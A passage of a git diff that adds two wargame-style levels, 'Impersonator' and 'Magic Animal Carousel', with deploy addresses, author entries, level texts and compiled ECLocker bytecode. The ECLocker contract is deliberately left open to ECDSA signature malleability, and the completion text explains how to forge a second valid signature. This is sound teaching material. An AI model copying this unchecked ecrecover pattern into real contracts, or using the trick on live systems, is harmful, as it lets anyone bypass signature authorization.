diff --git a/client/public/imgs/BigLevel32.svg b/client/public/imgs/BigLevel32.svg
new file mode 100644
index 000000000..16e3c13b0
--- /dev/null
+++ b/client/public/imgs/BigLevel32.svg
@@ -0,0 +1,20 @@
+
+
\ No newline at end of file
diff --git a/client/public/imgs/BigLevel33.svg b/client/public/imgs/BigLevel33.svg
new file mode 100644
index 000000000..1d0c44bf2
--- /dev/null
+++ b/client/public/imgs/BigLevel33.svg
@@ -0,0 +1,3893 @@
+
+
\ No newline at end of file
diff --git a/client/public/imgs/Level32.svg b/client/public/imgs/Level32.svg
new file mode 100644
index 000000000..2b9df72ef
--- /dev/null
+++ b/client/public/imgs/Level32.svg
@@ -0,0 +1,31 @@
+
+
\ No newline at end of file
diff --git a/client/public/imgs/Level33.svg b/client/public/imgs/Level33.svg
new file mode 100644
index 000000000..5d1a01e9f
--- /dev/null
+++ b/client/public/imgs/Level33.svg
@@ -0,0 +1,3665 @@
+
+
\ No newline at end of file
diff --git a/client/public/imgs/levels-ai.zip b/client/public/imgs/levels-ai.zip
index a8dfeef9e..9c25a9a17 100644
Binary files a/client/public/imgs/levels-ai.zip and b/client/public/imgs/levels-ai.zip differ
diff --git a/client/src/constants.js b/client/src/constants.js
index ff8c55e83..2019289b8 100644
--- a/client/src/constants.js
+++ b/client/src/constants.js
@@ -43,7 +43,7 @@ export const NETWORKS = {
AMOY: {
name: "amoy",
id: "80002",
- url: `${process.env.ALL_CAPS_NAME_HOST}`,
+ url: `${process.env.AMOY_HOST}`,
privKey: `${process.env.PRIV_KEY}`,
},
};
diff --git a/client/src/gamedata/authors.json b/client/src/gamedata/authors.json
index 36bf9808a..220cf4294 100644
--- a/client/src/gamedata/authors.json
+++ b/client/src/gamedata/authors.json
@@ -182,6 +182,27 @@
"https://www.linkedin.com/in/afonso-dalvi-711635112/"
],
"emails": ["gwdeps@gmail.com","afonsodalvia@gmail.com"]
+ },
+ "Gianfranco":{
+ "name": [
+ "Gianfranco"
+ ],
+ "websites":
+ [
+ "https://github.com/GianfrancoBazzani/"
+ ],
+ "donate" : "gianfrancobazzani.uni.eth",
+ "emails": ["bazzanigianfranco@gmail.com"]
+ },
+ "Gianfranco&carlitox477":{
+ "name": [
+ "carlitox477", "Gianfranco"
+ ],
+ "websites":
+ [
+ "www.x.com/carlitox477", "https://github.com/GianfrancoBazzani/"
+ ],
+ "emails": ["carlitox477.auditor@gmail.com", "bazzanigianfranco@gmail.com"]
}
}
-}
+}
\ No newline at end of file
diff --git a/client/src/gamedata/deploy.amoy.json b/client/src/gamedata/deploy.amoy.json
index bfc7f4ce3..884806771 100644
--- a/client/src/gamedata/deploy.amoy.json
+++ b/client/src/gamedata/deploy.amoy.json
@@ -31,8 +31,10 @@
"29": "0xf97EEDfFe70bFa579DbB26FD8Dd469F00ea9071f",
"30": "0xC7c121270efDB1DEE00DD0462187F4E8Bd4358f6",
"31": "0x33bE665704a6E2132f79E6b06C70660A11181374",
+ "32": "0x6F9cf195B9B4c1259E8FCe5b4e30F7142f779DeA",
+ "33": "0x40F5513a90fb7e2ac2C3E12A6d16B9279D1e94Ed",
"ethernaut": "0x0917c9EEd9EF51D57AAa27357C5FeE4F3590D42e",
"implementation": "0x30c3249cD8E29D7d0fb48aAec78413E6588072e3",
"proxyAdmin": "0x74008e22B826C3163604B248f03df5164f20955F",
"proxyStats": "0x1Bee003fdcb598Bb079Cc4ABDb03Ecf51229B73D"
-}
+}
\ No newline at end of file
diff --git a/client/src/gamedata/deploy.holesky.json b/client/src/gamedata/deploy.holesky.json
index a3046fe45..eea00a461 100644
--- a/client/src/gamedata/deploy.holesky.json
+++ b/client/src/gamedata/deploy.holesky.json
@@ -31,6 +31,8 @@
"29": "0x1bFb120Ac1361ece092FC64BD8ECdb3244463071",
"30": "0x716747Fbc1FcE4c36F2B369F87aDB5D4580e807f",
"31": "0x32FFB8d4244B350F5D3E074e9b731A135531B975",
+ "32": "0x465f1E2c7FFDe5452CFe92aC3aa1230B76B2B1CB",
+ "33": "0xd8630853340e23CeD1bb87a760e2BaF095fb4009",
"ethernaut": "0xB877915d8Ba049e7cAFc1525F85CEc322A362767",
"implementation": "0x86C8eC9b2bE1600571183eE157C7eb3B96a5c3FF",
"proxyAdmin": "0x8f3189256cb686D0aCD642bAa3982Fda156fB01D",
diff --git a/client/src/gamedata/deploy.sepolia-arbitrum.json b/client/src/gamedata/deploy.sepolia-arbitrum.json
index 655eef137..e12985827 100644
--- a/client/src/gamedata/deploy.sepolia-arbitrum.json
+++ b/client/src/gamedata/deploy.sepolia-arbitrum.json
@@ -31,6 +31,8 @@
"29": "0xd4e6B977d9Dea283797AaD71a09eC65DfdAc98f5",
"30": "0xA62fE5344FE62AdC1F356447B669E9E6D10abaaF",
"31": "0x7ae0655F0Ee1e7752D7C62493CEa1E69A810e2ed",
+ "32": "0x0AA237C34532ED79676BCEa22111eA2D01c3d3e7",
+ "33": "0x37c07983Aad7DCA30C05FBA609590c73e58663e8",
"ethernaut": "0xD991431D8b033ddCb84dAD257f4821E9d5b38C33",
"implementation": "0x42E7014a9D1f6765e76fA2e69532d808F2fe27E3",
"proxyAdmin": "0xBd886a37faD1f596221f33ca568122815ED48c81",
diff --git a/client/src/gamedata/deploy.sepolia-optimism.json b/client/src/gamedata/deploy.sepolia-optimism.json
index 4b078bada..e1a8706b2 100644
--- a/client/src/gamedata/deploy.sepolia-optimism.json
+++ b/client/src/gamedata/deploy.sepolia-optimism.json
@@ -31,6 +31,8 @@
"29": "0xDCa6065818935c33D6AF9AbDB7d5f679BB43508A",
"30": "0x5c7Fe23aeFc74E85E99EB8235807fE53bcC9c58f",
"31": "0x708f096A1AE25dD1b2De076fA90F5158bb01D209",
+ "32": "0xE536c365A795bb76CBb341D1Db49835e4974AF4d",
+ "33": "0x2f79281a5284ADD81B4Fd95Fa8e7CCB6900aeef8",
"ethernaut": "0xD991431D8b033ddCb84dAD257f4821E9d5b38C33",
"implementation": "0x50E1785EeE794253c5E33B8fE123e77124736e38",
"proxyAdmin": "0x492e18ddBd7591638453d2f1B1847F86711105C8",
diff --git a/client/src/gamedata/deploy.sepolia.json b/client/src/gamedata/deploy.sepolia.json
index 0c062a0f6..83eb21d61 100644
--- a/client/src/gamedata/deploy.sepolia.json
+++ b/client/src/gamedata/deploy.sepolia.json
@@ -31,6 +31,8 @@
"29": "0xb2aBa0e156C905a9FAEc24805a009d99193E3E53",
"30": "0xd459773f02e53F6e91b0f766e42E495aEf26088F",
"31": "0xB99f27b94fCc8b9b6fF88e29E1741422DFC06224",
+ "32": "0x9D75AF88C98C2524600f20B614ee064aE356C19C",
+ "33": "0x68839EDF716D5Ba1fb5C1e724bF160B23fa523b5",
"ethernaut": "0xa3e7317E591D5A0F1c605be1b3aC4D2ae56104d6",
"implementation": "0x49662cAeF8386f84d99873c34280E24d3e742e4f",
"proxyAdmin": "0x545d848827bD9e0E30794a9E53f5ab04EA71d78a",
diff --git a/client/src/gamedata/en/descriptions/levels/impersonator.md b/client/src/gamedata/en/descriptions/levels/impersonator.md
new file mode 100644
index 000000000..1a3e871b9
--- /dev/null
+++ b/client/src/gamedata/en/descriptions/levels/impersonator.md
@@ -0,0 +1 @@
+SlockDotIt’s new product, **ECLocker**, integrates IoT gate locks with Solidity smart contracts, utilizing Ethereum ECDSA for authorization. When a valid signature is sent to the lock, the system emits an `Open` event, unlocking doors for the authorized controller. SlockDotIt has hired you to assess the security of this product before its launch. Can you compromise the system in a way that anyone can open the door?
\ No newline at end of file
diff --git a/client/src/gamedata/en/descriptions/levels/impersonator_complete.md b/client/src/gamedata/en/descriptions/levels/impersonator_complete.md
new file mode 100644
index 000000000..1d8351a4f
--- /dev/null
+++ b/client/src/gamedata/en/descriptions/levels/impersonator_complete.md
@@ -0,0 +1,5 @@
+Congratulations! You've successfully unlocked the secrets of the elliptic curve signatures!
+
+As described in [EIP-2](https://eips.ethereum.org/EIPS/eip-2), allowing values of `0 < s < secp256k1n` in our verification logic, as is currently the case, opens a signature malleability concern. One can take any signature, flip the `s` value from `s` to `secp256k1n - s`, change the `v` value (27 -> 28, 28 -> 27), and the resulting signature would still recover the same signer.
+
+It is important to use safe implementations unless you know exactly what you are doing. Check the [OpenZeppelin implementation](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/448efeea6640bbbc09373f03fbc9c88e280147ba/contracts/utils/cryptography/ECDSA.sol#L128-L154) to learn how to use ecrecover safely.
\ No newline at end of file
diff --git a/client/src/gamedata/en/descriptions/levels/magicanimalcarousel.md b/client/src/gamedata/en/descriptions/levels/magicanimalcarousel.md
new file mode 100644
index 000000000..bd05eae70
--- /dev/null
+++ b/client/src/gamedata/en/descriptions/levels/magicanimalcarousel.md
@@ -0,0 +1,6 @@
+Welcome, dear Anon, to the Magic Carousel, where creatures spin and twirl in a boundless spell. In this magical, infinite digital wheel, they loop and whirl with enchanting zeal.
+
+Add a creature to join the fun, but heed the rule, or the game’s undone.
+If an animal joins the ride, take care when you check again, that same animal must be there!
+
+Can you break the magic rule of the carousel?
\ No newline at end of file
diff --git a/client/src/gamedata/en/descriptions/levels/magicanimalcarousel_complete.md b/client/src/gamedata/en/descriptions/levels/magicanimalcarousel_complete.md
new file mode 100644
index 000000000..340534c05
--- /dev/null
+++ b/client/src/gamedata/en/descriptions/levels/magicanimalcarousel_complete.md
@@ -0,0 +1 @@
+Congratulations, you’ve broken the magical rule of the carousel! In the realm of low-level data manipulation, it’s crucial to remember the details, especially when working with compacting data in storage slots.
\ No newline at end of file
diff --git a/client/src/gamedata/gamedata.json b/client/src/gamedata/gamedata.json
index ea6885cb1..a90a5680e 100644
--- a/client/src/gamedata/gamedata.json
+++ b/client/src/gamedata/gamedata.json
@@ -496,6 +496,36 @@
"deployId": "31",
"instanceGas": 750000,
"author": "Waiandt&Dalvi"
+ },
+ {
+ "name": "Impersonator",
+ "created": "2024-11-04",
+ "difficulty": "8",
+ "description": "impersonator.md",
+ "completedDescription": "impersonator_complete.md",
+ "levelContract": "ImpersonatorFactory.sol",
+ "instanceContract": "Impersonator.sol",
+ "revealCode": true,
+ "deployParams": [],
+ "deployFunds": 0,
+ "deployId": "32",
+ "instanceGas": 750000,
+ "author": "Gianfranco"
+ },
+ {
+ "name": "Magic Animal Carousel",
+ "created": "2024-11-04",
+ "difficulty": "6",
+ "description": "magicanimalcarousel.md",
+ "completedDescription": "magicanimalcarousel_complete.md",
+ "levelContract": "MagicAnimalCarouselFactory.sol",
+ "instanceContract": "MagicAnimalCarousel.sol",
+ "revealCode": true,
+ "deployParams": [],
+ "deployFunds": 0,
+ "deployId": "33",
+ "instanceGas": 750000,
+ "author": "Gianfranco&carlitox477"
}
]
}
diff --git a/contracts/out/Context.sol/Context.0.8.28.json b/contracts/out/Context.sol/Context.0.8.28.json
new file mode 100644
index 000000000..b71a39571
--- /dev/null
+++ b/contracts/out/Context.sol/Context.0.8.28.json
@@ -0,0 +1 @@
+{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.28+commit.7893614a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts.\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":\"Context\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.28+commit.7893614a"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":"Context"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"}},"version":1},"id":1}
\ No newline at end of file
diff --git a/contracts/out/Impersonator.sol/ECLocker.json b/contracts/out/Impersonator.sol/ECLocker.json
new file mode 100644
index 000000000..2114c6ce5
--- /dev/null
+++ b/contracts/out/Impersonator.sol/ECLocker.json
@@ -0,0 +1 @@
+{"abi":[{"type":"constructor","inputs":[{"name":"_lockId","type":"uint256","internalType":"uint256"},{"name":"_signature","type":"bytes","internalType":"bytes"}],"stateMutability":"nonpayable"},{"type":"function","name":"changeController","inputs":[{"name":"v","type":"uint8","internalType":"uint8"},{"name":"r","type":"bytes32","internalType":"bytes32"},{"name":"s","type":"bytes32","internalType":"bytes32"},{"name":"newController","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"controller","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"lockId","inputs":[],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"msgHash","inputs":[],"outputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"stateMutability":"view"},{"type":"function","name":"open","inputs":[{"name":"v","type":"uint8","internalType":"uint8"},{"name":"r","type":"bytes32","internalType":"bytes32"},{"name":"s","type":"bytes32","internalType":"bytes32"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"usedSignatures","inputs":[{"name":"","type":"bytes32","internalType":"bytes32"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"event","name":"ControllerChanged","inputs":[{"name":"newController","type":"address","indexed":true,"internalType":"address"},{"name":"timestamp","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"LockInitializated","inputs":[{"name":"initialController","type":"address","indexed":true,"internalType":"address"},{"name":"timestamp","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"Open","inputs":[{"name":"opener","type":"address","indexed":true,"internalType":"address"},{"name":"timestamp","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"error","name":"InvalidController","inputs":[]},{"type":"error","name":"SignatureAlreadyUsed","inputs":[]}],"bytecode":{"object":"0x60c060405234801561000f575f5ffd5b506040516106e23803806106e283398101604081905261002e91610142565b60808281527f19457468657265756d205369676e6564204d6573736167653a0a3332000000005f908152601c849052603c812060a0819052604080518281526060868101516020838101919091528781015183850152928701519082015291936001939083855afa503d6100a957638baa579f5f526004601cfd5b5f805160808301604081815287516020808a01919091208552600190819052908420805460ff1916909117905582546001600160a01b0319166001600160a01b0383169081179093554290529250907f53b18c96aa52ab0b62231a748985fe77b5db7c4c758d0b398e220117ca69dfe19060a00160405180910390a250505050610212565b634e487b7160e01b5f52604160045260245ffd5b5f5f60408385031215610153575f5ffd5b825160208401519092506001600160401b03811115610170575f5ffd5b8301601f81018513610180575f5ffd5b80516001600160401b038111156101995761019961012e565b604051601f8201601f19908116603f011681016001600160401b03811182821017156101c7576101c761012e565b6040528181528282016020018710156101de575f5ffd5b5f5b828110156101fc576020818501810151838301820152016101e0565b505f602083830101528093505050509250929050565b60805160a0516104aa6102385f395f818160da015261023101525f60a001526104aa5ff3fe608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063e4e6cf4f1161004d578063e4e6cf4f146100d5578063f77c4791146100fc578063f978fd6114610126575f5ffd5b8063259aa240146100735780633e8cd5701461008857806366fa19321461009b575b5f5ffd5b6100866100813660046103ad565b610158565b005b6100866100963660046103dd565b6101af565b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b5f5461010e906001600160a01b031681565b6040516001600160a01b0390911681526020016100cc565b61014861013436600461042d565b60016020525f908152604090205460ff1681565b60405190151581526020016100cc565b5f610164848484610220565b9050806001600160a01b03167f50042401acb675fedd6dd939fccc629832ce60fa4185df25c01b20e8def195bf426040516101a191815260200190565b60405180910390a250505050565b6101ba848484610220565b505f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040514281527f8cf1cbc25758c16f47e27029c8104e5be712c49e9baaf12c1fd697a91b431680906020016101a1565b604080515f808252602082018084527f0000000000000000000000000000000000000000000000000000000000000000905260ff8616928201929092526060810184905260808101839052819060019060a0016020604051602081039080840390855afa158015610293573d5f5f3e3d5ffd5b5050604051601f1901515f549092506001600160a01b0380841691161490506102e8576040517f6d5769be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60408051606081018252858152602080820186905260ff88168284015291515f92610314929101610444565b60408051601f1981840301815291815281516020928301205f818152600190935291205490915060ff1615610375576040517f900bb2c900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f908152600160208190526040909120805460ff19169091179055949350505050565b803560ff811681146103a8575f5ffd5b919050565b5f5f5f606084860312156103bf575f5ffd5b6103c884610398565b95602085013595506040909401359392505050565b5f5f5f5f608085870312156103f0575f5ffd5b6103f985610398565b9350602085013592506040850135915060608501356001600160a01b0381168114610422575f5ffd5b939692955090935050565b5f6020828403121561043d575f5ffd5b5035919050565b6060810181835f5b600381101561046b57815183526020928301929091019060010161044c565b5050509291505056fea2646970667358221220853c8ec9baf2e169c22fc683d24f2f46690e0bb16045f084bd5f56cbdd85effd64736f6c634300081c0033","sourceMap":"715:3774:2:-:0;;;1369:1750;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1455:16;;;;1571:34;1509:16;1558:48;;;1638:4;1631:21;;;1705:4;1689:21;;1750:18;;;;1928:4;1922:11;;1946:21;;;2035:4;2019:21;;;2013:28;-1:-1:-1;1999:12:2;;;1992:50;;;;2095:21;;;2089:28;2075:12;;;2068:50;2172:21;;;2166:28;2152:12;;;2145:50;1689:21;;1876:1;;1509:16;1922:11;1876:1;2275:5;2243:343;2222:378;2623:16;2613:144;;2672:10;2666:4;2659:24;2738:4;2732;2725:18;2613:144;2797:4;2791:11;;2837:3;2828:13;;2822:4;2815:27;;;2909:21;;;;;;;;;;2894:37;;2934:4;2894:37;;;;;;;:44;;-1:-1:-1;;2894:44:2;;;;;;2979:30;;-1:-1:-1;;;;;;2979:30:2;-1:-1:-1;;;;;2979:30:2;;;;;;;;3096:15;1401:25:3;;2791:11:2;-1:-1:-1;2979:30:2;3059:53;;1374:18:3;;3059:53:2;;;;;;;1423:1696;;1369:1750;;715:3774;;14:127:3;75:10;70:3;66:20;63:1;56:31;106:4;103:1;96:15;130:4;127:1;120:15;146:1104;234:6;242;295:2;283:9;274:7;270:23;266:32;263:52;;;311:1;308;301:12;263:52;334:16;;394:2;379:18;;373:25;334:16;;-1:-1:-1;;;;;;410:30:3;;407:50;;;453:1;450;443:12;407:50;476:22;;529:4;521:13;;517:27;-1:-1:-1;507:55:3;;558:1;555;548:12;507:55;585:9;;-1:-1:-1;;;;;606:30:3;;603:56;;;639:18;;:::i;:::-;688:2;682:9;780:2;742:17;;-1:-1:-1;;738:31:3;;;771:2;734:40;730:54;718:67;;-1:-1:-1;;;;;800:34:3;;836:22;;;797:62;794:88;;;862:18;;:::i;:::-;898:2;891:22;922;;;963:15;;;980:2;959:24;956:37;-1:-1:-1;953:57:3;;;1006:1;1003;996:12;953:57;1028:1;1038:133;1052:6;1049:1;1046:13;1038:133;;;1156:2;1144:10;;;1140:19;;1134:26;1113:14;;;1109:23;;1102:59;1067:10;1038:133;;;1042:3;1217:1;1212:2;1203:6;1195;1191:19;1187:28;1180:39;1238:6;1228:16;;;;;146:1104;;;;;:::o;1255:177::-;715:3774:2;;;;;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f5ffd5b506004361061006f575f3560e01c8063e4e6cf4f1161004d578063e4e6cf4f146100d5578063f77c4791146100fc578063f978fd6114610126575f5ffd5b8063259aa240146100735780633e8cd5701461008857806366fa19321461009b575b5f5ffd5b6100866100813660046103ad565b610158565b005b6100866100963660046103dd565b6101af565b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b6040519081526020015b60405180910390f35b6100c27f000000000000000000000000000000000000000000000000000000000000000081565b5f5461010e906001600160a01b031681565b6040516001600160a01b0390911681526020016100cc565b61014861013436600461042d565b60016020525f908152604090205460ff1681565b60405190151581526020016100cc565b5f610164848484610220565b9050806001600160a01b03167f50042401acb675fedd6dd939fccc629832ce60fa4185df25c01b20e8def195bf426040516101a191815260200190565b60405180910390a250505050565b6101ba848484610220565b505f80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0383169081179091556040514281527f8cf1cbc25758c16f47e27029c8104e5be712c49e9baaf12c1fd697a91b431680906020016101a1565b604080515f808252602082018084527f0000000000000000000000000000000000000000000000000000000000000000905260ff8616928201929092526060810184905260808101839052819060019060a0016020604051602081039080840390855afa158015610293573d5f5f3e3d5ffd5b5050604051601f1901515f549092506001600160a01b0380841691161490506102e8576040517f6d5769be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60408051606081018252858152602080820186905260ff88168284015291515f92610314929101610444565b60408051601f1981840301815291815281516020928301205f818152600190935291205490915060ff1615610375576040517f900bb2c900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b5f908152600160208190526040909120805460ff19169091179055949350505050565b803560ff811681146103a8575f5ffd5b919050565b5f5f5f606084860312156103bf575f5ffd5b6103c884610398565b95602085013595506040909401359392505050565b5f5f5f5f608085870312156103f0575f5ffd5b6103f985610398565b9350602085013592506040850135915060608501356001600160a01b0381168114610422575f5ffd5b939692955090935050565b5f6020828403121561043d575f5ffd5b5035919050565b6060810181835f5b600381101561046b57815183526020928301929091019060010161044c565b5050509291505056fea2646970667358221220853c8ec9baf2e169c22fc683d24f2f46690e0bb16045f084bd5f56cbdd85effd64736f6c634300081c0033","sourceMap":"715:3774:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3311:152;;;;;;:::i;:::-;;:::i;:::-;;3797:232;;;;;;:::i;:::-;;:::i;739:31::-;;;;;;;;1369:25:3;;;1357:2;1342:18;739:31:2;;;;;;;;776:32;;;;;814:25;;;;;-1:-1:-1;;;;;814:25:2;;;;;;-1:-1:-1;;;;;1751:55:3;;;1733:74;;1721:2;1706:18;814:25:2;1587:226:3;845:46:2;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;2214:14:3;;2207:22;2189:41;;2177:2;2162:18;845:46:2;2049:187:3;3311:152:2;3375:11;3389:26;3407:1;3410;3413;3389:17;:26::i;:::-;3375:40;;3435:3;-1:-1:-1;;;;;3430:26:2;;3440:15;3430:26;;;;1369:25:3;;1357:2;1342:18;;1223:177;3430:26:2;;;;;;;;3365:98;3311:152;;;:::o;3797:232::-;3896:26;3914:1;3917;3920;3896:17;:26::i;:::-;-1:-1:-1;3932:10:2;:26;;;;-1:-1:-1;;;;;3932:26:2;;;;;;;;3973:49;;4006:15;1369:25:3;;3973:49:2;;1357:2:3;1342:18;3973:49:2;1223:177:3;4035:452:2;4149:27;;;4111:7;4149:27;;;;;;;;;4159:7;2468:25:3;;2541:4;2529:17;;2509:18;;;2502:45;;;;2563:18;;;2556:34;;;2606:18;;;2599:34;;;4111:7:2;;4149:27;;2440:19:3;;4149:27:2;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;4149:27:2;;-1:-1:-1;;4149:27:2;;4207:10;;4149:27;;-1:-1:-1;;;;;;4195:22:2;;;4207:10;;4195:22;;-1:-1:-1;4186:53:2;;;;;;;;;;;;;;;;;4284:48;;;;;;;;;;;;;;;;;;4320:10;;;4284:48;;;;;;4250:21;;4284:48;;;;;:::i;:::-;;;;-1:-1:-1;;4284:48:2;;;;;;;;;4274:59;;4284:48;4274:59;;;;4353:29;;;;:14;:29;;;;;;4274:59;;-1:-1:-1;4353:29:2;;4352:30;4343:64;;;;;;;;;;;;;;;;;4418:29;;;;4450:4;4418:29;;;;;;;;:36;;-1:-1:-1;;4418:36:2;;;;;;4472:8;4035:452;-1:-1:-1;;;;4035:452:2:o;14:156:3:-;80:20;;140:4;129:16;;119:27;;109:55;;160:1;157;150:12;109:55;14:156;;;:::o;175:416::-;250:6;258;266;319:2;307:9;298:7;294:23;290:32;287:52;;;335:1;332;325:12;287:52;358:27;375:9;358:27;:::i;:::-;348:37;454:2;439:18;;426:32;;-1:-1:-1;555:2:3;540:18;;;527:32;;175:416;-1:-1:-1;;;175:416:3:o;596:622::-;680:6;688;696;704;757:3;745:9;736:7;732:23;728:33;725:53;;;774:1;771;764:12;725:53;797:27;814:9;797:27;:::i;:::-;787:37;-1:-1:-1;893:2:3;878:18;;865:32;;-1:-1:-1;994:2:3;979:18;;966:32;;-1:-1:-1;1076:2:3;1061:18;;1048:32;-1:-1:-1;;;;;1111:56:3;;1099:69;;1089:97;;1182:1;1179;1172:12;1089:97;596:622;;;;-1:-1:-1;596:622:3;;-1:-1:-1;;596:622:3:o;1818:226::-;1877:6;1930:2;1918:9;1909:7;1905:23;1901:32;1898:52;;;1946:1;1943;1936:12;1898:52;-1:-1:-1;1991:23:3;;1818:226;-1:-1:-1;1818:226:3:o;2644:471::-;2824:2;2809:18;;2813:9;2904:6;2782:4;2938:171;2952:4;2949:1;2946:11;2938:171;;;3011:13;;2999:26;;3054:4;3045:14;;;;3082:17;;;;2972:1;2965:9;2938:171;;;2942:3;;;2644:471;;;;:::o","linkReferences":{},"immutableReferences":{"204":[{"start":160,"length":32}],"206":[{"start":218,"length":32},{"start":561,"length":32}]}},"methodIdentifiers":{"changeController(uint8,bytes32,bytes32,address)":"3e8cd570","controller()":"f77c4791","lockId()":"66fa1932","msgHash()":"e4e6cf4f","open(uint8,bytes32,bytes32)":"259aa240","usedSignatures(bytes32)":"f978fd61"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.28+commit.7893614a\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_lockId\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"_signature\",\"type\":\"bytes\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[],\"name\":\"InvalidController\",\"type\":\"error\"},{\"inputs\":[],\"name\":\"SignatureAlreadyUsed\",\"type\":\"error\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newController\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"}],\"name\":\"ControllerChanged\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"initialController\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"}],\"name\":\"LockInitializated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"opener\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"}],\"name\":\"Open\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes